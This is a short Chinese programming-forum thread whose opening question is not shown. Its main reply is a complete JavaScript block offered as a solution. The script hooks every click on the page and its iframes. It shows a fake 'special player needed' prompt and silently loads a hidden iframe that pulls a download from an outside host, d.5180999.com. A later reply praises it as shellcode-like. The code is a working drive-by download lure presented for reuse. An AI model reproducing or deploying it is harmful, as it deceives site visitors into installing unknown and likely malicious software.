本帖最后由 jianxin52 于 2014-07-15 18:38:35 编辑

解决方案 »

  1.   

    <script>
    var uid,pid,durl,curl;
    function GetConfig(_load)
    {
    uid=GetInt("uid",1);
    pid=GetInt("pid",8100);
    curl="next.html?uid="+uid+"&pid="+pid+"&cid=3";
    if(_load>0)
    {
    var viscount=parseInt(f_get_cookie("v_count"));
    if(viscount==1)
    {
    f_set_cookie("v_count",2);
    durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
    }
    else
    {
    f_set_cookie("v_count",1);
    durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
    }
    }
    };
    function $$(ele)
    {
    return document.getElementById(ele)
    };
    function GetParamVal(paramName)
    {
    var url=location.href;
    var paramString=url.substring(url.indexOf("?")+1,url.length).split("&");
    var paramObj=
    {
    };
    for(i=0;
    j=paramString[i];
    i++)
    {
    paramObj[j.substring(0,j.indexOf("=")).toLowerCase()]=j.substring(j.indexOf("=")+1,j.length)
    };
    var returnValue=paramObj[paramName.toLowerCase()];
    if(typeof(returnValue)=="undefined")
    {
    return null
    }
    else
    {
    return returnValue
    }
    };
    function GetInt(paramName,val)
    {
    var vid=parseInt(GetParamVal(paramName));
    if(isNaN(vid))
    {
    vid=val
    };
    return vid
    };
    function f_get_domain(v_url)
    {
    if(v_url==null||v_url=="")return"";
    var v_begin,v_end;
    v_url=v_url.toLowerCase();
    if(v_url.indexOf("http://")==0)v_begin=7;
    else if(v_url.indexOf("https://")==0)v_begin=8;
    else v_begin=0;
    if((v_end=v_url.indexOf("/",v_begin))==-1)v_end=v_url.length;
    v_url=v_url.substring(v_begin,v_end);
    if((v_end=v_url.indexOf(":"))!=-1)v_url=v_url.substring(0,v_end);
    if(v_url.indexOf(".")==-1||/^[0-9]+[.0-9]*$/.test(v_url))return v_url;
    var v_parts=v_url.split(".");
    if(v_parts.length>2&&v_parts[v_parts.length-3]!="www")
    {
    var v_part_2=v_parts[v_parts.length-2];
    if(v_part_2.length<=2||v_part_2=="com"||v_part_2=="edu"||v_part_2=="gov"||v_part_2=="net"||v_part_2=="org"||v_part_2=="mil")
    {
    v_url=v_parts[v_parts.length-3]+"."+v_part_2+"."+v_parts[v_parts.length-1]
    }
    else
    {
    v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
    }
    }
    else
    {
    v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
    };
    return v_url
    };
    function f_set_cookie(v_cn,v_cv)
    {
    var v_et=new Date();
    v_et.setTime(v_et.getTime()+12*60*60*1000);
    document.cookie=v_cn+'='+v_cv+';
    expires='+v_et.toGMTString()+';
    path=/;
    domain='+f_get_domain(window.location.href)
    };
    function f_get_cookie(v_cn)
    {
    var v_cookies=document.cookie.split(";
    ");
    for(var v_i=0;
    v_i<v_cookies.length;
    v_i++)
    {
    var v_ck=v_cookies[v_i].split("=");
    if(v_ck[0]==v_cn)return unescape(v_ck[1])
    };
    return null
    };
    function addEvent(obj,type,fun)
    {
    if(obj.addEventListener)
    {
    obj.addEventListener(type,fun);
    return true
    }
    else if(obj.attachEvent)
    {
    return obj.attachEvent("on"+type,function()
    {
    fun.apply(obj,arguments)
    }
    )
    }
    else
    {
    return false
    }
    };
    function addgo(info,isDown,alertYoNO)
    {
    if(isLoading.style.display=="none")
    {
    GetConfig(1);
    var hint=info||"本片资源需要下载专用播放器观看,只需10秒立即观看!";
    if(alertYoNO==1)
    {
    if(isDown||confirm(hint))
    {
    $$("d_url").src=durl
    }
    }
    else
    {
    if(!isDown)
    {
    alert(hint)
    };
    $$("d_url").src=durl
    }
    }
    };
    var v_mode=true;
    function fun()
    {
    GetConfig(0);
    if(v_mode==true)
    {
    $$("c_url").src=curl;
    v_mode=false
    }
    };
    var v_is_add_click=false;
    function f_pop_click()
    {
    if(v_is_add_click==true)return;
    try
    {
    if(!window.document)return;
    addEvent(window.document,"click",new Function("fun();
    "))
    }
    catch(v_ex)
    {
    }
     var v_obj=document.getElementsByTagName("iframe");
    for(var v_i=0;
    v_i<v_obj.length;
    v_i++)
    {
    try
    {
    addEvent(v_obj[v_i].contentWindow.document,"click",new Function("window.parent.fun();
    "))
    }
    catch(v_ex)
    {
    }
    };
    v_is_add_click=true
    };
    f_pop_click();</script>
      

  2.   

    http://blog.csdn.net/superwfei/article/details/37821653其实很简单
      

  3.   

    这个不错啊,有点shellcode的味道